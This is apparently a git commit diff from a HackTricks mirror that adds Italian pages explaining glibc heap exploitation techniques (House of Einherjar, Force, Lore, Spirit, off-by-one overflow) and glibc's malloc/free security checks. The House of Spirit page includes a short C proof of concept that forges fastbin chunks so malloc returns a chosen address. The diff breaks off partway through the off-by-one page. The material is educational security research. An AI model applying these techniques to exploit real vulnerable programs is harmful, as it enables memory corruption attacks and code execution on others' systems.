mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['binary-exploitation/heap/heap-functions-security-checks.md'
This commit is contained in:
parent
6736f4de47
commit
077a9edf00
12 changed files with 509 additions and 232 deletions
BIN
.gitbook/assets/image (1245).png
Normal file
BIN
.gitbook/assets/image (1245).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 96 KiB |
BIN
.gitbook/assets/image (1246).png
Normal file
BIN
.gitbook/assets/image (1246).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 99 KiB |
BIN
.gitbook/assets/image (1247).png
Normal file
BIN
.gitbook/assets/image (1247).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 80 KiB |
|
@ -726,6 +726,12 @@
|
|||
* [Use After Free](binary-exploitation/heap/use-after-free/README.md)
|
||||
* [First Fit](binary-exploitation/heap/use-after-free/first-fit.md)
|
||||
* [Double Free](binary-exploitation/heap/double-free.md)
|
||||
* [Unlink Attack](binary-exploitation/heap/unlink-attack.md)
|
||||
* [Off by one overflow](binary-exploitation/heap/off-by-one-overflow.md)
|
||||
* [House of Spirit](binary-exploitation/heap/house-of-spirit.md)
|
||||
* [House of Lore](binary-exploitation/heap/house-of-lore.md)
|
||||
* [House of Einherjar](binary-exploitation/heap/house-of-einherjar.md)
|
||||
* [House of Force](binary-exploitation/heap/house-of-force.md)
|
||||
* [Heap Overflow](binary-exploitation/heap/heap-overflow.md)
|
||||
* [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md)
|
||||
* [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md)
|
||||
|
|
|
@ -6,11 +6,11 @@
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la **tua azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la **tua azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -27,14 +27,14 @@ Questa funzione rimuove un chunk da una lista doppiamente collegata. I controlli
|
|||
Questa funzione è responsabile dell'allocazione di memoria dall'heap. I controlli qui garantiscono che la memoria non venga corrotta durante l'allocazione.
|
||||
|
||||
* **Controllo della dimensione di Fastbin**:
|
||||
* Quando si rimuove un chunk da un fastbin, assicurarsi che la dimensione del chunk sia all'interno dell'intervallo del fastbin.
|
||||
* Quando si rimuove un chunk da un fastbin, assicurarsi che la dimensione del chunk sia nell'intervallo del fastbin.
|
||||
* Messaggio di erroro: `malloc(): memory corruption (fast)`
|
||||
* **Controllo di coerenza di Smallbin**:
|
||||
* Quando si rimuove un chunk da un smallbin, assicurarsi che i collegamenti precedenti e successivi nella lista doppiamente collegata siano coerenti.
|
||||
* Quando si rimuove un chunk da un smallbin, assicurarsi che i collegamenti precedente e successivo nella lista doppiamente collegata siano coerenti.
|
||||
* Messaggio di errore: `malloc(): smallbin double linked list corrupted`
|
||||
* **Controllo dell'intervallo di memoria di Unsorted Bin**:
|
||||
* Assicurarsi che la dimensione dei chunk nell'unsorted bin sia all'interno dei limiti minimi e massimi.
|
||||
* Messaggio di errore: `malloc(): memory corruption`
|
||||
* Assicurarsi che la dimensione dei chunk nell'unsorted bin sia compresa nei limiti minimi e massimi.
|
||||
* Messaggio di errore: `malloc(): memory corruption | malloc(): invalid next size (unsorted)`
|
||||
* **Controllo di coerenza di Unsorted Bin (Primo Scenario)**:
|
||||
* Quando si inserisce un chunk di resto nell'unsorted bin, controllare se `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`.
|
||||
* Messaggio di errore: `malloc(): corrupted unsorted chunks`
|
||||
|
@ -46,32 +46,32 @@ Questa funzione è responsabile dell'allocazione di memoria dall'heap. I control
|
|||
|
||||
Questa funzione libera la memoria precedentemente allocata. I controlli qui aiutano a garantire una corretta deallocazione della memoria e a prevenire la corruzione della memoria.
|
||||
|
||||
* **Controllo del limite del puntatore**:
|
||||
* Assicurarsi che il puntatore che viene liberato non si avvolga attorno alla memoria.
|
||||
* **Controllo dei limiti del puntatore**:
|
||||
* Assicurarsi che il puntatore liberato non si avvolga attorno alla memoria.
|
||||
* Messaggio di errore: `free(): invalid pointer`
|
||||
* **Controllo della dimensione**:
|
||||
* Assicurarsi che la dimensione del chunk che viene liberato sia almeno `MINSIZE` o un multiplo di `MALLOC_ALIGNMENT`.
|
||||
* Assicurarsi che la dimensione del chunk liberato sia almeno `MINSIZE` o un multiplo di `MALLOC_ALIGNMENT`.
|
||||
* Messaggio di errore: `free(): invalid size`
|
||||
* **Controllo della dimensione di Fastbin**:
|
||||
* Per i chunk di fastbin, assicurarsi che la dimensione del chunk successivo sia all'interno dei limiti minimi e massimi.
|
||||
* Per i chunk fastbin, assicurarsi che la dimensione del chunk successivo sia nei limiti minimi e massimi.
|
||||
* Messaggio di errore: `free(): invalid next size (fast)`
|
||||
* **Controllo di Double Free di Fastbin**:
|
||||
* Quando si inserisce un chunk in un fastbin, assicurarsi che il chunk in testa non sia lo stesso di quello che viene inserito.
|
||||
* Quando si inserisce un chunk in un fastbin, assicurarsi che il chunk in testa non sia lo stesso di quello inserito.
|
||||
* Messaggio di errore: `double free or corruption (fasttop)`
|
||||
* **Controllo di coerenza di Fastbin**:
|
||||
* Quando si inserisce in un fastbin, assicurarsi che le dimensioni del chunk in testa e del chunk che viene inserito siano le stesse.
|
||||
* Quando si inserisce in un fastbin, assicurarsi che le dimensioni del chunk in testa e del chunk inserito siano uguali.
|
||||
* Messaggio di errore: `invalid fastbin entry (free)`
|
||||
* **Controllo di coerenza del Top Chunk**:
|
||||
* Per i chunk non di fastbin, assicurarsi che il chunk non sia lo stesso del top chunk.
|
||||
* Per i chunk non fastbin, assicurarsi che il chunk non sia lo stesso del top chunk.
|
||||
* Messaggio di errore: `double free or corruption (top)`
|
||||
* **Controllo dei limiti di memoria**:
|
||||
* Assicurarsi che il chunk successivo per memoria sia all'interno dei limiti dell'arena.
|
||||
* Assicurarsi che il chunk successivo per memoria sia nei limiti dell'arena.
|
||||
* Messaggio di errore: `double free or corruption (out)`
|
||||
* **Controllo del bit Prev\_inuse**:
|
||||
* Assicurarsi che il bit precedente-in-uso nel chunk successivo sia contrassegnato.
|
||||
* Messaggio di errore: `double free or corruption (!prev)`
|
||||
* **Controllo della dimensione normale**:
|
||||
* Assicurarsi che la dimensione del chunk successivo sia all'interno di intervalli validi.
|
||||
* Assicurarsi che la dimensione del chunk successivo sia nei range validi.
|
||||
* Messaggio di errore: `free(): invalid next size (normal)`
|
||||
* **Controllo di coerenza di Unsorted Bin**:
|
||||
* Quando si inserisce un chunk fuso nell'unsorted bin, controllare se `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`.
|
||||
|
@ -83,10 +83,10 @@ Questa funzione libera la memoria precedentemente allocata. I controlli qui aiut
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la **tua azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la **tua azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
|
61
binary-exploitation/heap/house-of-einherjar.md
Normal file
61
binary-exploitation/heap/house-of-einherjar.md
Normal file
|
@ -0,0 +1,61 @@
|
|||
# Casa di Einherjar
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
### Codice
|
||||
|
||||
* Controlla l'esempio da [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
||||
|
||||
### Obiettivo
|
||||
|
||||
* L'obiettivo è allocare memoria in quasi ogni indirizzo specifico.
|
||||
|
||||
### Requisiti
|
||||
|
||||
* Off by one sull'intestazione del prossimo chunk per modificare il prev in uso
|
||||
* Essere in grado di modificare i dati `prev_size`, che fanno parte del chunk corrente (alla fine)
|
||||
* Leak di Heap
|
||||
|
||||
### Attacco
|
||||
|
||||
* Viene creato un chunk falso all'interno di un chunk controllato dall'attaccante puntando con `fd` e `bk` al chunk originale per aggirare le protezioni
|
||||
* Vengono creati altri 2 chunk (`B` e `C`).
|
||||
* Sfruttando l'off by one nel chunk `B`, il bit `prev in use` viene pulito e i dati `prev_size` vengono sovrascritti con la differenza tra il luogo in cui è allocato il chunk `C` e il chunk falso `A` generato prima.
|
||||
* Questo `prev_size` e la dimensione del chunk falso `A` devono essere gli stessi per aggirare i controlli.
|
||||
* Quindi, il Tcache viene riempito
|
||||
* Quindi, `C` viene liberato in modo che si consolidi con il chunk falso `A`
|
||||
* Quindi, viene creato un nuovo chunk `D` che inizierà nel chunk falso `A` e coprirà il chunk `B`
|
||||
* Quindi, viene liberato `B` e il suo `fd` viene sovrascritto con l'indirizzo di destinazione facendolo puntare all'indirizzo di destinazione sfruttando il chunk `D` che lo contiene.
|
||||
* Quindi, vengono fatti 2 malloc perché il secondo conterrà l'indirizzo di destinazione
|
||||
|
||||
## Riferimenti
|
||||
|
||||
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
42
binary-exploitation/heap/house-of-force.md
Normal file
42
binary-exploitation/heap/house-of-force.md
Normal file
|
@ -0,0 +1,42 @@
|
|||
# House of Force
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
### Codice
|
||||
|
||||
* Questa tecnica è stata corretta ([**qui**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) e produce questo errore: `malloc(): corrupted top size`
|
||||
|
||||
### Obiettivo
|
||||
|
||||
* L'obiettivo di questo attacco è essere in grado di allocare un chunk in un indirizzo specifico.
|
||||
|
||||
### Requisiti
|
||||
|
||||
* Un overflow che permette di sovrascrivere la dimensione dell'intestazione del top chunk (ad es. -1).
|
||||
* Essere in grado di controllare la dimensione dell'allocazione dell'heap
|
||||
|
||||
### Attacco
|
||||
|
||||
Se un attaccante vuole avere un chunk nell'indirizzo P, avendo sovrascritto la dimensione del top chunk con -1. innanzitutto è necessario un malloc di (\&top\_chunk - P). Nota che questo puntatore può essere prima o dopo il top\_chunk poiché qualsiasi dimensione sarà inferiore a -1 (0xFFFFFFFFFFFFFFFF). Quindi, dopo aver allocato questo chunk iniziale, il top chunk verrà spostato all'indirizzo P desiderato e il chunk successivo sarà da quell'indirizzo.
|
||||
|
||||
### Riferimenti
|
||||
|
||||
* [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/)
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force)
|
61
binary-exploitation/heap/house-of-lore.md
Normal file
61
binary-exploitation/heap/house-of-lore.md
Normal file
|
@ -0,0 +1,61 @@
|
|||
# Casa del Lore
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repositori [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
### Codice
|
||||
|
||||
* Questo non funziona
|
||||
* Controlla quello da [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
|
||||
* Oppure: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c)
|
||||
|
||||
### Obiettivo
|
||||
|
||||
* Inserire dei chunk piccoli falsi nel bin piccolo in modo da poterlo allocare.
|
||||
|
||||
### Requisiti
|
||||
|
||||
* Creare chunk falsi
|
||||
* Conoscere l'indirizzo del chunk vittima e dei chunk falsi
|
||||
* Essere in grado di modificare i puntatori `bk` e `fd`
|
||||
|
||||
### Attacco
|
||||
|
||||
* Viene allocato un chunk piccolo vittima
|
||||
* Un attaccante genera un paio di chunk piccoli falsi e fa sì che il primo chunk falso punti a un chunk reale con `fd` e il `bk` punti al secondo chunk falso. Inoltre, fa sì che il `bk` del secondo chunk falso punti al primo.
|
||||
* Successivamente, viene allocato un nuovo chunk grande per evitare che il primo venga fuso nel chunk superiore quando viene liberato
|
||||
* Quindi, il puntatore iniziale viene liberato e viene allocato un secondo puntatore di dimensioni maggiori in modo che il chunk piccolo iniziale liberato venga posizionato nel bin piccolo.
|
||||
* Il chunk piccolo reale viene modificato in modo che il suo puntatore `bk` punti a quello falso.
|
||||
* Quindi, quando vengono allocati 2 chunk di questa dimensione, ottengono prima il chunk valido e poi il chunk non valido controllato in qualche modo dall'attaccante.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repositori [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
99
binary-exploitation/heap/house-of-spirit.md
Normal file
99
binary-exploitation/heap/house-of-spirit.md
Normal file
|
@ -0,0 +1,99 @@
|
|||
# Casa dello Spirito
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
### Codice
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Casa dello Spirito</summary>
|
||||
```c
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
|
||||
|
||||
struct fast_chunk {
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct fast_chunk *fd;
|
||||
struct fast_chunk *bk;
|
||||
char buf[0x20]; // chunk falls in fastbin size range
|
||||
};
|
||||
|
||||
int main() {
|
||||
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
|
||||
void *ptr, *victim;
|
||||
|
||||
ptr = malloc(0x30);
|
||||
|
||||
printf("Original alloc address: %p\n", ptr);
|
||||
printf("Main fake chunk:%p\n", &fake_chunks[0]);
|
||||
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
|
||||
|
||||
// Passes size check of "free(): invalid size"
|
||||
fake_chunks[0].size = sizeof(struct fast_chunk);
|
||||
|
||||
// Passes "free(): invalid next size (fast)"
|
||||
fake_chunks[1].size = sizeof(struct fast_chunk);
|
||||
|
||||
// Attacker overwrites a pointer that is about to be 'freed'
|
||||
// Point to .fd as it's the start of the content of the chunk
|
||||
ptr = (void *)&fake_chunks[0].fd;
|
||||
|
||||
free(ptr);
|
||||
|
||||
victim = malloc(0x30);
|
||||
printf("Victim: %p\n", victim);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### Obiettivo
|
||||
|
||||
* Essere in grado di aggiungere un indirizzo arbitrario nel tcache / fast bin in modo che, chiamando malloc, venga utilizzato in un chunk
|
||||
|
||||
### Requisiti
|
||||
|
||||
* Questo attacco richiede che un attaccante sia in grado di creare un paio di chunk fast falsi indicando correttamente il valore della dimensione e sovrascrivere un chunk fast di quella dimensione che verrà liberato, in modo che il chunk dell'attaccante sia effettivamente quello che entra nel fast bin.
|
||||
|
||||
### Attacco
|
||||
|
||||
* Creare un chunk falso che bypassi i controlli di sicurezza (saranno necessari 2 chunk falsi)
|
||||
* Prima che un puntatore venga liberato, sovrascriverlo con il chunk falso in modo che sia quello che entra nel bin
|
||||
|
||||
## Riferimenti
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
62
binary-exploitation/heap/off-by-one-overflow.md
Normal file
62
binary-exploitation/heap/off-by-one-overflow.md
Normal file
|
@ -0,0 +1,62 @@
|
|||
# Sfioramento overflow
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
Avere solo accesso a un overflow di 1B consente a un attaccante di modificare le informazioni sui metadati delle dimensioni precedenti, consentendo di manomettere quali chunk vengono effettivamente liberati, generando infine un chunk che contiene un altro chunk legittimo.
|
||||
|
||||
### Esempio di codice:
|
||||
|
||||
* [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c)
|
||||
* Questo attacco non funziona più a causa dell'uso di Tcaches.
|
||||
* Inoltre, se si cerca di abusarne utilizzando chunk più grandi (così che tcaches non siano coinvolti), si otterrà l'errore: `malloc(): invalid next size (unsorted)`
|
||||
|
||||
### Obiettivo
|
||||
|
||||
* Fare in modo che un chunk sia contenuto all'interno di un altro chunk in modo che l'accesso in scrittura su quel secondo chunk consenta di sovrascrivere quello contenuto
|
||||
|
||||
### Requisiti
|
||||
|
||||
* Sfioramento overflow di uno per modificare le informazioni sui metadati delle dimensioni precedenti
|
||||
|
||||
### Attacco
|
||||
|
||||
* Vengono riservati 3 chunk di memoria (a, b, c) uno dopo l'altro. Quindi il chunk centrale viene liberato. Il primo contiene una vulnerabilità di sfioramento di uno e l'attaccante la sfrutta con un 0x00 (se il byte precedente fosse 0x10 farebbe sì che il chunk centrale indichi che è più piccolo di 0x10 di quanto non sia realmente).
|
||||
* Quindi, vengono allocati altri 2 chunk più piccoli nel chunk centrale liberato (b), tuttavia, poiché `b + b->size` non aggiorna mai il chunk c perché l'indirizzo puntato è più piccolo di quanto dovrebbe essere. 
|
||||
